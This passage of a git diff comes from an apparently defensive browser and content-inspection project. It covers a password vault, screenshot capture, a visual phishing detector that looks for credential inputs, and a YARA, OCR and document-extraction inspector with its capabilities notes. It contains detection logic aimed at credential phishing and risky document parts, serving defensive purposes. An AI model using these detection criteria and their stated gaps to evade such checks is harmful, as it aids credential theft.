(output.length > MAX_FILE) fail(); + fs.mkdirSync(path.dirname(filePath), { recursive: true }); + if (fs.existsSync(filePath) && !fs.lstatSync(filePath).isFile()) fail(); + temporary = filePath + '.' + crypto.randomBytes(16).toString('hex') + '.tmp'; + const fd = fs.openSync(temporary, 'wx', 0o600); + try { fs.writeFileSync(fd, output); fs.fsyncSync(fd); } finally { fs.closeSync(fd); wipe(output); } + fs.renameSync(temporary, filePath); temporary = null; + } finally { wipe(bytes); if (temporary) { try { fs.unlinkSync(temporary); } catch {} } } + } + function create(password) { + lock(); let derived, privateDer, protectedBytes, shared, wrap; + try { + master(password); if (fs.existsSync(filePath)) fail(); + if (typeof crypto.encapsulate !== 'function' || typeof crypto.decapsulate !== 'function') fail(); + const salt = crypto.randomBytes(32), vaultId = crypto.randomUUID(); + derived = crypto.scryptSync(password, salt, 32, SCRYPT); + const pair = crypto.generateKeyPairSync('ml-kem-1024'); + privateDer = pair.privateKey.export({ format: 'der', type: 'pkcs8' }); + protectedBytes = Buffer.from(JSON.stringify(seal(derived, privateDer, FORMAT + ':private:' + vaultId))); + const platformProtected = protect(protectedBytes); + if (!Buffer.isBuffer(platformProtected) || !platformProtected.length || platformProtected.length > 65536) fail(); + const encapsulated = crypto.encapsulate(pair.publicKey); shared = encapsulated.sharedKey; + wrap = wrappingKey(shared, vaultId); key = crypto.randomBytes(32); + envelope = { format: FORMAT, vaultId, salt: encode(salt), privateKey: encode(platformProtected), kemCiphertext: encode(encapsulated.ciphertext) }; + envelope.wrappedKey = seal(wrap, key, header(envelope)); + persist(); touch(); return status(); + } catch { lock(); fail(); } finally { [derived, privateDer, protectedBytes, shared, wrap].forEach(wipe); } + } + function unlock(password) { + lock(); let derived, protectedBytes, privateDer, shared, wrap, plaintext; + try { + master(password); const record = checkedFile(); + if (record.format !== FORMAT || typeof record.vaultId !== 'string' || !/^[a-f0-9-]{36}$/.test(record.vaultId)) fail(); + const salt = decode(record.salt, 32), ciphertext = decode(record.kemCiphertext, 1568); + if (salt.length !== 32 || ciphertext.length !== 1568) fail(); + protectedBytes = unprotect(decode(record.privateKey, 65536)); + if (!Buffer.isBuffer(protectedBytes) || protectedBytes.length > 65536) fail(); + derived = crypto.scryptSync(password, salt, 32, SCRYPT); + privateDer = open(derived, JSON.parse(protectedBytes.toString('utf8')), FORMAT + ':private:' + record.vaultId); + const privateKey = crypto.createPrivateKey({ key: privateDer, format: 'der', type: 'pkcs8' }); + if (privateKey.asymmetricKeyType !== 'ml-kem-1024') fail(); + shared = crypto.decapsulate(privateKey, ciphertext); wrap = wrappingKey(shared, record.vaultId); + key = open(wrap, record.wrappedKey, header(record)); if (key.length !== 32) fail(); + plaintext = open(key, record.payload, header(record) + ':' + JSON.stringify(record.wrappedKey)); + const decoded = JSON.parse(plaintext.toString('utf8')); + if (!Array.isArray(decoded.entries) || decoded.entries.length > 1000) fail(); + const ids = new Set(); + for (const entry of decoded.entries) { + if (typeof entry.id !== 'string' || !/^[a-f0-9-]{36}$/.test(entry.id) || ids.has(entry.id)) fail(); ids.add(entry.id); + origin(entry.origin); text(entry.username, 512); text(entry.password, 4096); text(entry.label, 256); + } + entries = decoded.entries; envelope = { ...record }; delete envelope.payload; touch(); return status(); + } catch { lock(); fail(); } finally { [derived, protectedBytes, privateDer, shared, wrap, plaintext].forEach(wipe); } + } + function status() { return { exists: fs.existsSync(filePath), locked: !key, idleSeconds, algorithm: 'AES-256-GCM / ML-KEM-1024 / scrypt / Windows DPAPI' }; } + function list() { requireUnlocked(false); return entries.map(({ id, origin, username, label }) => ({ id, origin, username, label })); } + function mutate(action) { + requireUnlocked(); const previous = entries.map(entry => ({ ...entry })); + try { const result = action(); persist(); return result; } catch { entries = previous; fail(); } + } + function upsert(entry) { + return mutate(() => { + if (!entry || typeof entry !== 'object') fail(); + const current = entry.id ? entries.find(item => item.id === entry.id) : null; + if (entry.id && !current) fail(); if (!current && entries.length >= 1000) fail(); + const updated = { id: current?.id || crypto.randomUUID(), origin: origin(entry.origin), username: text(entry.username, 512), password: text(entry.password, 4096), label: text(entry.label ?? '', 256) }; + if (!updated.password) fail(); + if (current) entries[entries.indexOf(current)] = updated; else entries.push(updated); + return { id: updated.id }; + }); + } + function remove(id) { return mutate(() => { const index = entries.findIndex(entry => entry.id === id); if (index < 0) fail(); entries.splice(index, 1); return { deleted: true }; }); } + function credential(id, targetOrigin) { + requireUnlocked(); const expected = origin(targetOrigin); const entry = entries.find(item => item.id === id); + if (!entry || entry.origin !== expected) fail(); + return { username: entry.username, password: entry.password }; + } + return { create, unlock, lock, status, list, upsert, delete: remove, credential, generatePassword }; +} +module.exports = { createVault, generatePassword }; diff --git a/apps/browser/visual-capture.cjs b/apps/browser/visual-capture.cjs new file mode 100644 index 0000000..4c4060e --- /dev/null +++ b/apps/browser/visual-capture.cjs @@ -0,0 +1,20 @@ +'use strict'; +const {guardedScreenshot}=require('./page-clipboard-guard.cjs'); +function bounded(operation,ms){let timer;return Promise.race([operation,new Promise((_,reject)=>{timer=setTimeout(()=>reject(Error('Visual capture timed out')),ms);})]).finally(()=>clearTimeout(timer));} +async function capturePNG(contents,rect){ + if(rect&&(!['x','y','width','height'].every(key=>Number.isInteger(rect[key]))||rect.x<0||rect.y<0||rect.width<16||rect.height<16||rect.width*rect.height>8*1024*1024))throw Error('Visual capture region invalid'); + // Use Chromium's current render surface: Windows native capture can return a stale frame. + // Share the verified internal page-security connection when present; never detach it. + // No debugger endpoint or general command interface is exposed to sites or agents. + const parameters={format:'png',fromSurface:true,captureBeyondViewport:false,...(rect?{clip:{...rect,scale:1}}:{})}; + const owned=guardedScreenshot(contents,parameters); + const debuggerAPI=contents.debugger;if(!debuggerAPI||!owned&&debuggerAPI.isAttached())throw Error('Visual capture unavailable'); + let attached=false; + try{ + if(!owned){debuggerAPI.attach('1.3');attached=true;} + const result=await bounded(owned||debuggerAPI.sendCommand('Page.captureScreenshot',parameters),3000); + if(typeof result?.data!=='string'||result.data.length>14*1024*1024||!/^[A-Za-z0-9+/]+={0,2}$/.test(result.data))throw Error('Visual capture bytes invalid'); + return Buffer.from(result.data,'base64'); + }finally{if(attached)debuggerAPI.detach();} +} +module.exports={capturePNG}; diff --git a/apps/browser/visual-phishing.cjs b/apps/browser/visual-phishing.cjs new file mode 100644 index 0000000..143c8b7 --- /dev/null +++ b/apps/browser/visual-phishing.cjs @@ -0,0 +1,80 @@ +'use strict'; +// `unknown` is never an approval: callers must hold credential actions until a fresh verdict. +function describeDocument(expectedURL){ + if(location.href!==expectedURL)throw Error('Document changed'); + const visible=e=>{if(!e||e.closest('[hidden],[aria-hidden="true"],script,style,template,noscript'))return false;let p=e,count=0;while(p&&count++<32){const s=getComputedStyle(p);if(s.display==='none'||s.visibility==='hidden'||s.opacity==='0')return false;p=p.parentElement;}return e.getClientRects().length>0;}; + const candidates=[]; + for(const e of document.querySelectorAll('input')){ + if(candidates.length>=32)break; + if(!visible(e)||e.disabled||e.type==='hidden')continue; + if(/^(password|email)$/i.test(e.type)||/username|email|login|current-password|new-password/i.test([e.name,e.id,e.getAttribute('autocomplete')].join(' ')))candidates.push(e); + } + let formRect; + if(candidates.length){const container=candidates[0].closest('form')||candidates[0].closest('main,[role="main"]')||candidates[0];const r=container.getBoundingClientRect();const x=Math.max(0,r.x),y=Math.max(0,r.y),width=Math.min(innerWidth,r.right)-x,height=Math.min(innerHeight,r.bottom)-y;if(width>=16&&height>=16)formRect={x,y,width,height};} + const walker=document.createTreeWalker(document.body,NodeFilter.SHOW_TEXT);let node,text='',visited=0; + while((node=walker.nextNode())&&visited++<20000&&text.length<8000){const e=node.parentElement;if(!e||e.closest('input,textarea,select,[contenteditable],script,style,template,noscript')||!visible(e))continue;const piece=(node.textContent||'').replace(/\s+/g,' ').trim();if(piece)text+=(text?'\n':'')+piece.slice(0,8000-text.length);} + return {hasCredentialInputs:candidates.length>0,visibleText:text.slice(0,8000),...(formRect?{formRect}:{})}; +} +const describeScript=expectedURL=>`(${describeDocument.toString()})(${JSON.stringify(expectedURL)})`; +const normalize=text=>String(text).normalize('NFKC').toLowerCase().replace(/ß/g,'ss').replace(/ς/g,'σ'); +function createVisualPhishing({getContext,capture,describe,fingerprint,compare,audit,block}={}){ + if([getContext,capture,describe,fingerprint,compare,audit,block].some(fn=>typeof fn!=='function'))throw TypeError('Trusted visual phishing callbacks required'); + let pending=null,generation=0; + const snapshot=()=>{const c=getContext();return {...c,url:c?.url||c?.webContents?.getURL(),generation};}; + const current=initial=>{const c=snapshot();return c.ready&&Number.isFinite(Date.parse(c.policy?.expiresAt))&&Date.parse(c.policy.expiresAt)>Date.now()&&c.policy===initial.policy&&c.webContents===initial.webContents&&c.url===initial.url&&c.navigationId===initial.navigationId&&c.generation===initial.generation;}; + const result=(initial,decision,reason,ruleId)=>({decision,reason,...(ruleId?{ruleId}:{}),checkedURL:initial.url,policyVersion:initial.policy?.version}); + async function run(){ + const initial=snapshot(),settings=initial.policy?.security?.visualPhishing; + if(!initial.ready)return result(initial,'unknown','browser-not-ready'); + if(!Number.isFinite(Date.parse(initial.policy?.expiresAt))||Date.parse(initial.policy.expiresAt)<=Date.now())return result(initial,'unknown','policy-expired'); + if(!settings?.enabled)return result(initial,'allow','visual-policy-disabled'); + let pageURL;try{pageURL=new URL(initial.url);if(!['https:','http:'].includes(pageURL.protocol))throw Error();}catch{return result(initial,'unknown','unsupported-url');} + const blocked=async(reason,ruleId)=>{ + if(!current(initial))return result(initial,'unknown','stale-context'); + await audit({kind:'phishing.block',ruleId:ruleId||'visual-inspection-failed',host:pageURL.hostname}); + if(!current(initial))return result(initial,'unknown','stale-context'); + const decision=result(initial,'block',reason,ruleId||'visual-inspection-failed');await block(decision,initial); + return decision; + }; + let description; + try{description=await describe(initial.url,initial);if(!current(initial))return result(initial,'unknown','stale-context');if(typeof description?.hasCredentialInputs!=='boolean'||typeof description.visibleText!=='string'||description.visibleText.length>8000)throw Error();} + catch{if(!current(initial))return result(initial,'unknown','stale-context');return settings.failClosed?blocked('visual-description-unavailable'):result(initial,'unknown','description-unavailable');} + if(!description.hasCredentialInputs)return result(initial,'allow','no-credential-inputs'); + const text=normalize(description.visibleText),captures=new Map(),features=new Map();let comparable=0,unknown=false; + try{ + for(const brand of settings.brands){ + // Exemption applies only to this brand; other protected brands remain checked. + if(pageURL.protocol==='https:'&&brand.allowedOrigins.includes(pageURL.origin))continue; + if(!brand.requiredText.every(phrase=>text.includes(normalize(phrase))))continue; + for(const reference of brand.references){ + if(reference.scope==='login-form'&&!description.formRect){unknown=true;continue;} + const key=reference.scope;let image; + if(captures.has(key))image=captures.get(key);else{image=await capture(reference.scope,description,reference);if(!current(initial))return result(initial,'unknown','stale-context');captures.set(key,image);} + if(reference.viewport){ + if(!Number.isFinite(image.width)||!Number.isFinite(image.height)||image.width<=0||image.height<=0)throw Error('Capture dimensions unavailable'); + const expected=reference.viewport; + if(reference.scope==='viewport'?(image.width!==expected.width||image.height!==expected.height):Math.abs((image.width/image.height)/(expected.width/expected.height)-1)>.1){unknown=true;continue;} + } + const featureKey=`${reference.scope}:${reference.algorithm}`;let feature; + if(features.has(featureKey))feature=features.get(featureKey); + else{feature=await fingerprint(image,reference.algorithm);if(!current(initial))return result(initial,'unknown','stale-context');features.set(featureKey,feature);} + const hash=typeof feature==='string'?feature:feature?.hash; + if(feature?.usable===false||!/^[a-f0-9]{16}$/.test(hash||'')){unknown=true;continue;} + const distance=await compare(hash,reference.hash);if(!current(initial))return result(initial,'unknown','stale-context'); + if(!Number.isInteger(distance)||distance<0||distance>64)throw Error('Comparison unavailable'); + comparable++; + if(distance<=brand.maxDistance)return blocked('credential-brand-impersonation',brand.id); + } + } + }catch{if(!current(initial))return result(initial,'unknown','stale-context');return settings.failClosed?blocked('credential-visual-inspection-failed'):result(initial,'unknown','visual-inspection-failed');} + if(unknown)return result(initial,'unknown','reference-not-comparable'); + return result(initial,'allow',comparable?'no-protected-brand-match':'no-applicable-brand-reference'); + } + function check({force=false}={}){ + if(pending&&!force)return pending; + const prior=pending;const operation=(prior?prior.catch(()=>{}):Promise.resolve()).then(run); + pending=operation;operation.finally(()=>{if(pending===operation)pending=null;}).catch(()=>{});return operation; + } + return {check,reset:()=>{generation++;}}; +} +module.exports={createVisualPhishing,describeScript}; diff --git a/apps/inspector/CAPABILITIES.md b/apps/inspector/CAPABILITIES.md new file mode 100644 index 0000000..e388a18 --- /dev/null +++ b/apps/inspector/CAPABILITIES.md @@ -0,0 +1,31 @@ +# Local inspector capabilities + +All inspection is local. No scan downloads models or calls cloud inference. + +- YARA: genuine pinned yara-python 4.5.4 in private Windows CPython 3.13 runtime. Centrally supplied sources have bounded size and count, includes disabled, imported modules disallowed, compile warnings treated as errors, and five-second match timeout. Rules compile from in-memory strings and scan bytes. Errors, unavailable engine, missing rules and oversize payloads block downloads. Compilation currently runs inside the inspector process; a native compiler hang is bounded by the browser's inspector request deadline but does not restart the inspector automatically. +- Text: UTF-8 extraction and deterministic secret/literal/fingerprint classification. +- PDF/OOXML: bounded extraction of text and embedded images; full rendered visual coverage is incomplete and outbound DLP fails closed. +- Images: bundled RapidOCR 3.8.1 with CPU ONNXRuntime 1.24.4 and packaged PP-OCRv4 detection/recognition plus v2 classification weights. Explicit verified local model paths bypass all model downloads. Real Windows test renders a secret into an image and blocks it with network model downloading forbidden. Models primarily support Chinese/English; other languages and recognition accuracy require validation. OCR completion indicates all frames processed, not guaranteed recognition accuracy. Pillow parsing has dimension/frame limits. Optional `SAFETYNET_OCR_ENGINE=tesseract` uses administrator-installed trusted `TESSERACT_PATH`, optionally `TESSDATA_PREFIX` for local traineddata. Tesseract weights are not bundled. Missing OCR blocks DLP. +- Audio/video: recognition of container types only. Transcription and full video inspection are unconfigured; DLP blocks rather than claiming safe coverage. +- Semantic adapter: real Google EmbeddingGemma 2, Q8_0 GGUF export revision `bfcd298762cc34d0357ece5ebdd31791a3a374d8`, 768 dimensions. A verified native worker runs explicitly on CPU, reads bounded local NDJSON, and returns actual normalized vectors. Both GGUF weights and native runtime modules must pass size/SHA-256 checks before loading. Configure `EMBEDDING_MODEL_DIR` and `EMBEDDING_WORKER_PATH` to staged, protected local resources. No cloud inference, model download or Python ML framework is used. Text uses the same pinned `document-v1` profile for training and inspection; native token windows must cover exact UTF-8 bytes through the final byte, otherwise scanning fails closed. At most 64 vectors are allowed; incomplete or oversized training is refused. Native image embeddings process all bounded frames resized to at most672px with48px alignment. Native audio supports only mono16kHz PCM16 WAV up to30seconds; other media remains uninspectable. Actual model fixtures must run separately from protocol unit tests to establish operational readiness. +- Reference registration: SHA-256 plus normalized eight-word shingle and paragraph hashes, coverage and registrationReady. Every shingle offset is inspected; paragraph normalization uses NFKC, lowercase, sharp-s to ss, final sigma to sigma and collapsed whitespace, shared with JavaScript policy enforcement. Up to 1000 hashes return per registration. Published `fragment-sha256` rules use this same canonicalization and detect excerpts after reformatting. No extracted plaintext returned or logged. Hashes remain sensitive reference metadata and require access control. The whole-file fingerprint is useful even for incomplete extraction, but registrationReady requires complete coverage. + +`POST /scan-download` accepts `{data:base64,policy}` and returns malware-only `{decision,ruleId,engine,sha256,bytes,matchedRules,coverage}`. A YARA allow is not a DLP allow. `/inspect` applies enabled YARA first and then DLP. `/reference-document` accepts `{data:base64}` and returns registration features. + +Dependencies and packaged model distributions are pinned with official PyPI wheel SHA-256 hashes and installed with `--require-hashes`. OCR model license review and a complete third-party software notice are still required before distribution. The Windows broker uses a Job Object limiting its process tree to four processes and 4 GiB, denying breakaway and killing descendants when the owner exits. Document parsing, YARA, OCR and inference now execute in a separate AppContainer per request. The worker verifies its actual AppContainer token and zero capabilities before importing parsers. Documents cross bounded anonymous pipes; source/runtime/model files receive package-SID read/execute access, never writable grants. Network and private-file probes, native child inheritance, deadlines, 16 MiB pipe integrity and orphan termination are exercised in `test_windows_appcontainer.py` and `artifacts/windows-appcontainer-proof.json`. + +The AppContainer can use its Windows-provided private package storage and system resources that Windows exposes to application packages. This is not a promise that no filesystem writes anywhere are possible. Runtime roots and their ancestors reject reparse points; external Python/parser/model overrides are rejected rather than granting access to other projects. An explicit installer/deployment-owner command provisions specific-SID ACLs; normal startup reads native DACLs without changing them. Missing or writable grants fail closed. Packaging provisions the completed copied resources. Protected Program Files operation under a separate standard user remains untested. No capability or loopback exemption is added. Broker startup allows 30 seconds for cold ACL verification; each parser request retains a 29-second worker deadline and 30-second browser request budget. Broker/worker/verifier bytecode writes are disabled so cold startup does not add unapproved files. Independent exploit/bypass assessment remains required. + +The isolated worker uses the bundled RapidOCR path. External Tesseract executables and their deployment environment are not forwarded into this boundary; a future separately validated sandbox configuration is required to support them. + +Training retains only returned fingerprints, fragment hashes and coverage metadata. The inspector does not retain source documents or extracted plaintext, and its HTTP handlers clear transient request references after processing. Python immutable byte/string allocations and native parser/OCR buffers cannot guarantee forensic memory erasure; OS paging and crash dumps need endpoint controls. Text and bundled RapidOCR image training use memory only. Optional Tesseract writes temporary decoded image frames and removes them on normal completion; secure deletion is not guaranteed, so use the default RapidOCR mode for memory-only training. + +Registration reports `extractionComplete` separately from `featuresComplete`, total/retained fragment counts and `fragmentHashesTruncated`. More than 1000 fragment hashes marks coverage incomplete and registrationReady false; a reduced document or separately approved whole-file fingerprint can then be used. A truncated feature set is never presented as complete protection. + +Sources: https://yara.readthedocs.io/en/stable/yarapython.html https://pypi.org/project/yara-python/4.5.4/ https://github.com/RapidAI/RapidOCR https://pypi.org/project/rapidocr/3.8.1/ + +Google model sources: https://ai.google.dev/gemma/docs/embeddinggemma/model_card_2 https://ai.google.dev/gemma/docs/embeddinggemma/multimodal-embeddinggemma-with-sentence-transformers and https://huggingface.co/ggml-org/embeddinggemma-2-GGUF . Multimodal vectors support classification signals; unsupported parsing or incomplete extraction never becomes a DLP allow solely because a vector exists. Model similarity is probabilistic and requires customer-specific thresholds and false-negative testing. Native worker errors/timeouts are sanitized and kill the worker; startup readiness must attest CPU and no Vulkan module. Source strings and native memory are transient but cannot be securely erased by this Python adapter. + +Actual Windows CPU validation on 2026-10-12: four real-weight fixtures passed in 25.774 seconds, covering native image embeddings, native mono 16 kHz audio embeddings, multi-window document tail coverage, and a semantic-only policy that blocks a protected paraphrase while allowing unrelated public text. All emitted vectors have 768 finite normalized values. A separate three-document check measured protected-paraphrase cosine 0.861730 versus unrelated-text 0.606880; these are synthetic fixture measurements, not a general accuracy claim. The worker handshake pins the exact hardened build `b11461-no-logits-v1`; policy/runtime manifest field `b11461` identifies its upstream runtime release. Other suffixes are refused, CPU must be attested, and loaded Vulkan is refused. + +Repeat actual fixtures with staged resources using `SAFETYNET_TEST_NATIVE_SEMANTIC=1`, `EMBEDDING_MODEL_DIR`, and `EMBEDDING_WORKER_PATH`, then run the bundled Python `-m unittest discover -s apps/inspector -p test_semantic_real.py -v`. Routine protocol tests do not substitute for these opt-in real-model checks. diff --git a/apps/inspector/dpapi.py b/apps/inspector/dpapi.py new file mode 100644 index 0000000..6b8da39 --- /dev/null +++ b/apps/inspector/dpapi.py @@ -0,0 +1,33 @@ +"""Current-user Windows capability protection; no browser profile crypto state.""" +import base64 +import ctypes +import sys + +class Blob(ctypes.Structure): + _fields_=[('size',ctypes.c_uint32),('data',ctypes.POINTER(ctypes.c_ubyte))] + +def convert(data,protect): + crypt=ctypes.WinDLL('crypt32',use_last_error=True) + kernel=ctypes.WinDLL('kernel32',use_last_error=True) + allocation=(ctypes.c_ubyte*len(data)).from_buffer_copy(data) + source=Blob(len(data),allocation);result=Blob() + function=crypt.CryptProtectData if protect else crypt.CryptUnprotectData + function.argtypes=[ctypes.POINTER(Blob),ctypes.c_void_p,ctypes.c_void_p,ctypes.c_void_p,ctypes.c_void_p,ctypes.c_uint32,ctypes.POINTER(Blob)] + function.restype=ctypes.c_int + # UI_FORBIDDEN; omit LOCAL_MACHINE so only the signed-in Windows user can decrypt. + if not function(ctypes.byref(source),None,None,None,None,1,ctypes.byref(result)): + raise ValueError('DPAPI rejected capability') + kernel.LocalFree.argtypes=[ctypes.c_void_p];kernel.LocalFree.restype=ctypes.c_void_p + try:return ctypes.string_at(result.data,result.size) + finally:kernel.LocalFree(result.data) + +if __name__=='__main__': + try: + if sys.platform!='win32' or len(sys.argv)!=2 or sys.argv[1] not in ['protect','unprotect']: raise ValueError() + data=sys.stdin.buffer.read(32769) + if not data or len(data)>32768:raise ValueError() + if sys.argv[1]=='protect':output=base64.b64encode(convert(data,True)) + else:output=convert(base64.b64decode(data,validate=True),False) + sys.stdout.buffer.write(output) + except Exception: + sys.stderr.write('Windows capability protection failed.\n');sys.exit(1) diff --git a/apps/inspector/engine.py b/apps/inspector/engine.py new file mode 100644 index 0000000..cf250b6 --- /dev/null +++ b/apps/inspector/engine.py @@ -0,0 +1,340 @@ +"""Private content inspection. No external inference, raw-content logs or remote URLs.""" +import base64 +import hashlib +import io +import math +import os +import re +import shutil +import subprocess +import tempfile +import unicodedata +import zipfile +from pathlib import Path + +os.environ['HF_HUB_OFFLINE']='1' +os.environ['TRANSFORMERS_OFFLINE']='1' +os.environ['HF_HUB_DISABLE_TELEMETRY']='1' + +MAX_BYTES = 20 * 1024 * 1024 +MAX_TEXT = 1_000_000 +_MODEL = None +_OCR = None + + +def local_ocr(): + global _OCR + if _OCR is None: + import onnxruntime + onnxruntime.disable_telemetry_events() + import rapidocr + from rapidocr import RapidOCR + directory=Path(rapidocr.__file__).parent/"models" + names={"Det":"ch_PP-OCRv4_det_infer.onnx","Rec":"ch_PP-OCRv4_rec_infer.onnx","Cls":"ch_ppocr_mobile_v2.0_cls_infer.onnx"} + checksums={"Det":"d2a7720d45a54257208b1e13e36a8479894cb74155a5efe29462512d42f49da9", + "Rec":"48fc40f24f6d2a207a2b1091d3437eb3cc3eb6b676dc3ef9c37384005483683b", + "Cls":"e47acedf663230f8863ff1ab0e64dd2d82b838fceb5957146dab185a89d6215c"} + params={"Global.log_level":"critical","EngineConfig.onnxruntime.intra_op_num_threads":2, + "EngineConfig.onnxruntime.inter_op_num_threads":1} + for task,name in names.items(): + model=directory/name + if not model.is_file(): raise ValueError("Bundled offline OCR model unavailable") + if hashlib.sha256(model.read_bytes()).hexdigest()!=checksums[task]: raise ValueError("Offline OCR model checksum mismatch") + params[task+".model_path"]=str(model) + # Explicit paths bypass RapidOCR's download path entirely. + _OCR=RapidOCR(params=params) + return _OCR + + +def scan_download(data, policy): + """Malware gate only: never implies document/DLP coverage.""" + result={"decision":"block","ruleId":"yara-unavailable","engine":"yara", + "sha256":hashlib.sha256(data).hexdigest(),"bytes":len(data), + "matchedRules":[],"coverage":{"complete":False}} + try: + config=policy.get("security",{}).get("yara",{}) + if config.get("enabled") is not True: + result["ruleId"]="yara-required";return result + maximum=config.get("maxScanBytes",MAX_BYTES) + if not isinstance(maximum,int) or maximum<=0 or len(data)>min(maximum,MAX_BYTES): + result["ruleId"]="yara-size-limit";return result + entries=config.get("rules",[]) + if not isinstance(entries,list) or not 1<=len(entries)<=128: raise ValueError() + sources={};ids={};total=0 + for index,entry in enumerate(entries): + source=entry["source"];identifier=entry["id"] + if not isinstance(source,str) or not isinstance(identifier,str) or not identifier: raise ValueError() + total+=len(source.encode("utf-8")) + if total>262144: raise ValueError() + # No imported modules: console can leak scanned content; others expand attack surface. + if re.search(r'\bimport\s+"',source): raise ValueError() + namespace="policy_"+str(index);sources[namespace]=source;ids[namespace]=identifier + import yara + rules=yara.compile(sources=sources,includes=False,error_on_warning=True) + matches=rules.match(data=data,timeout=5) + result["coverage"]["complete"]=True + result["matchedRules"]=[{"id":ids[item.namespace],"rule":item.rule} for item in matches] + if matches: result["ruleId"]=ids[matches[0].namespace] + else: result["decision"]="allow";result["ruleId"]=None + except ImportError: pass + except Exception: result["ruleId"]="yara-inspection-failed" + return result + + +def reference_document(data): + """Return privacy-preserving registration features, without extracted plaintext.""" + result={"sha256":hashlib.sha256(data).hexdigest(),"bytes":len(data), + "contentType":content_kind(data),"fragmentHashes":[],"coverage":{"complete":False}} + text="";media=[];hashes=set() + try: + if len(data)>MAX_BYTES: raise ValueError() + text,complete,media=extract(data,result["contentType"]) + if len(text)>MAX_TEXT: raise ValueError() + hashes=fragment_hashes(text) + result["fragmentHashes"]=sorted(hashes)[:1000] + truncated=len(hashes)>1000 + result["coverage"]={"complete":complete and not truncated,"extractionComplete":complete, + "featuresComplete":not truncated,"fragmentHashesTruncated":truncated, + "fragmentHashesTotal":len(hashes),"fragmentHashesRetained":len(result["fragmentHashes"]), + "textCharacters":len(text),"mediaItems":len(media)} + result["registrationReady"]=bool(complete and not truncated and (hashes or text.strip())) + except Exception: result["registrationReady"]=False + finally: + # Release transient content references; immutable Python strings cannot be securely wiped. + text="";media.clear();hashes.clear();data=None + return result + + +def fragment_hashes(text): + normalized=unicodedata.normalize("NFKC",text).lower().replace("ß","ss").replace("ς","σ") + words=re.findall(r"\w+",normalized) + # Every shingle matches excerpts even when their starting offset changes. + hashes={hashlib.sha256(" ".join(words[index:index+8]).encode()).hexdigest() + for index in range(max(0,len(words)-7))} + for paragraph in re.split(r"\n\s*\n",normalized): + paragraph=" ".join(paragraph.split()) + if len(paragraph)>=32: hashes.add(hashlib.sha256(paragraph.encode()).hexdigest()) + return hashes + + +def cosine(left, right): + if len(left) != len(right) or not left: + raise ValueError("Embedding dimensions do not match") + if not all(math.isfinite(float(v)) for v in [*left, *right]): + raise ValueError("Invalid embedding") + denominator = math.sqrt(sum(v*v for v in left)) * math.sqrt(sum(v*v for v in right)) + if not denominator: + raise ValueError("Empty embedding") + return sum(a*b for a, b in zip(left, right)) / denominator + + +def content_kind(data): + if data.startswith(b"%PDF-"): return "pdf" + if data.startswith(b"PK\x03\x04"): return "office" + if data.startswith(b"\x89PNG\r\n\x1a\n") or data.startswith(b"\xff\xd8\xff") or data.startswith((b"GIF87a", b"GIF89a")): return "image" + if data.startswith(b"RIFF"): + return {b"WAVE": "audio", b"WEBP": "image", b"AVI ": "video"}.get(data[8:12], "unknown") + if data.startswith((b"ID3", b"fLaC", b"OggS")): return "audio" + if len(data)>12 and data[4:8] == b"ftyp": return "video" + try: + text=data.decode("utf-8", errors="strict") + if "\x00" in text: return "unknown" + return "text" + except UnicodeError: return "unknown" + + +def ocr_image(data): + from PIL import Image, ImageSequence + image=Image.open(io.BytesIO(data)) + frames=getattr(image,"n_frames",1) + if image.width*image.height>20_000_000 or frames>32 or image.width*image.height*frames>50_000_000: + raise ValueError("Image processing budget exceeded") + if os.environ.get("SAFETYNET_OCR_ENGINE","rapidocr")=="rapidocr": + import numpy as np + engine=local_ocr();parts=[] + for frame in ImageSequence.Iterator(image): + output=engine(np.asarray(frame.convert("RGB"))) + parts.extend(output.txts or []) + return "\n".join(parts),True + configured=os.environ.get("TESSERACT_PATH", "") + executable=configured if configured and Path(configured).is_file() else shutil.which("tesseract") + if not executable: return "", False + parts=[] + with tempfile.TemporaryDirectory(prefix="safetynet-ocr-") as temp: + for index, frame in enumerate(ImageSequence.Iterator(image)): + file=Path(temp)/f"frame-{index}.png" + frame.convert("RGB").save(file) + result=subprocess.run([executable,str(file),"stdout","--psm","3"],capture_output=True,timeout=20,check=True) + parts.append(result.stdout.decode("utf-8")) + return "\n".join(parts), True + + +def extract(data, kind): + if kind=="text": return data.decode("utf-8"), True, [] + if kind=="image": + text,complete=ocr_image(data) + return text,complete,[("image",data)] + if kind=="pdf": + from pypdf import PdfReader + reader=PdfReader(io.BytesIO(data),strict=True) + if reader.is_encrypted: raise ValueError("Encrypted PDF cannot be inspected") + if len(reader.pages)>100: raise ValueError("PDF page budget exceeded") + text=[];complete=True;media=[] + for page in reader.pages: + value=page.extract_text() or "" + text.append(value) + images=list(page.images) + if not value.strip() and not images: complete=False + for image in images: + if len(image.data)>MAX_BYTES: raise ValueError("PDF image budget exceeded") + scanned,ok=ocr_image(image.data);text.append(scanned);complete=complete and ok + media.append(("image",image.data)) + if len(media)>100: raise ValueError("PDF media budget exceeded") + # Attachments, JavaScript, forms, actions and vector drawings need deeper inspection. + if page.get("/Annots"): complete=False + root=reader.trailer["/Root"] + if root.get("/AcroForm") or root.get("/OpenAction") or root.get("/Names"): complete=False + # Text extraction is useful, but does not prove all visible/vector PDF content was covered. + return "\n".join(text),False,media + if kind=="office": + from defusedxml.ElementTree import fromstring + text=[];media=[];complete=True + with zipfile.ZipFile(io.BytesIO(data)) as archive: + members=archive.infolist() + if len(members)>2000 or sum(x.file_size for x in members)>MAX_BYTES: + raise ValueError("Archive expansion budget exceeded") + if not any(x.filename in ["word/document.xml","ppt/presentation.xml","xl/workbook.xml"] for x in members): + raise ValueError("Only OOXML document archives are supported") + for entry in members: + if entry.flag_bits&1 or entry.file_size>MAX_BYTES or entry.file_size>max(entry.compress_size,1)*200: + raise ValueError("Unsafe document archive") + name=entry.filename + if any(s in name.lower() for s in ["vbaproject","embeddings/","activex/","customxml/"]): complete=False + if name.endswith(".xml"): + root=fromstring(archive.read(entry)) + text.extend(element.text for element in root.iter() if element.tag.rsplit("}",1)[-1] in ["t","v"] and element.text) + elif "/media/" in name: + payload=archive.read(entry) + if content_kind(payload)!="image": complete=False; continue + scanned,ok=ocr_image(payload);text.append(scanned);complete=complete and ok;media.append(("image",payload)) + if len(media)>100: raise ValueError("Office media budget exceeded") + # Charts, relationships, equations and rendered layout are not yet fully inspected. + return "\n".join(text),False,media + if kind in ["audio","video"]: return "",False,[(kind,data)] + raise ValueError("Unsupported content type") + + +def get_model(): + global _MODEL + directory=os.environ.get("EMBEDDING_MODEL_DIR", "") + worker=os.environ.get("EMBEDDING_WORKER_PATH", "") + if not directory or not Path(directory).is_dir() or not worker: raise ValueError("Verified local EmbeddingGemma 2 runtime is not configured") + if _MODEL is 